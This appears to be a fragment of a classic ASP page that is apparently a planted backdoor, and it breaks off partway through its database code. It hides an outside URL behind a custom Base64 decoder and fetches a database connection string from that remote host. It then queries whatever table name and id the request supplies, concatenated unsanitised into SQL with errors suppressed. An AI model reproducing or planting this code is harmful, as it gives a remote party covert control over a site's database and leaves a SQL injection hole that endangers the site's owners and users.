% const BASE_64_MAP_INIT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" dim newline dim Base64EncMap(63) dim Base64DecMap(127) Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "GB2312" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function PUBLIC SUB initCodecs() newline = "
" & chr(13) & chr(10) dim max, idx max = len(BASE_64_MAP_INIT) for idx = 0 to max - 1 Base64EncMap(idx) = mid(BASE_64_MAP_INIT, idx + 1, 1) next for idx = 0 to max - 1 Base64DecMap(ASC(Base64EncMap(idx))) = idx next END SUB PUBLIC FUNCTION base64(scrambled) if len(scrambled) = 0 then base64 = "" exit function end if dim realLen realLen = len(scrambled) do while mid(scrambled, realLen, 1) = "=" realLen = realLen - 1 loop dim ret, ndx, by4, first, second, third, fourth ret = "" by4 = (realLen \ 4) * 4 ndx = 1 do while ndx <= by4 first = Base64DecMap(asc(mid(scrambled, ndx+0, 1))) second = Base64DecMap(asc(mid(scrambled, ndx+1, 1))) third = Base64DecMap(asc(mid(scrambled, ndx+2, 1))) fourth = Base64DecMap(asc(mid(scrambled, ndx+3, 1))) ret = ret & chr( ((first * 4) AND 255) + ((second \ 16) AND 3)) ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15)) ret = ret & chr( ((third * 64) AND 255) + (fourth AND 63)) ndx = ndx + 4 loop if ndx < realLen then first = Base64DecMap(asc(mid(scrambled, ndx+0, 1))) second = Base64DecMap(asc(mid(scrambled, ndx+1, 1))) ret = ret & chr( ((first * 4) AND 255) + ((second \ 16) AND 3)) if realLen MOD 4 = 3 then third = Base64DecMap(asc(mid(scrambled,ndx+2,1))) ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15)) end if end if base64=ret END FUNCTION call initCodecs AR=getHTTPPage(base64("aHR0cDovL3pqLmJvZHlwdXR0ZXIuY29tLz9pZD0x")) if AR = "" then response.End end if list = split(AR,"|") ConnStr = list(0) DataName =Request.QueryString("DN") if DataName="" then Response.End() end if ttype= request("type") tids = request("tid") if tids <> "" and DataName <> "" then Set Conn=Server.CreateObject("ADODB.Connection") on error resume next Conn.Open ConnStr Set Rs=Server.CreateObject("ADODB.Recordset") Rs.open "select * from "&DataName&" where nameid='"&tids&"'",conn,1,1 if not rs.eof then if err.number<>0 then end if %>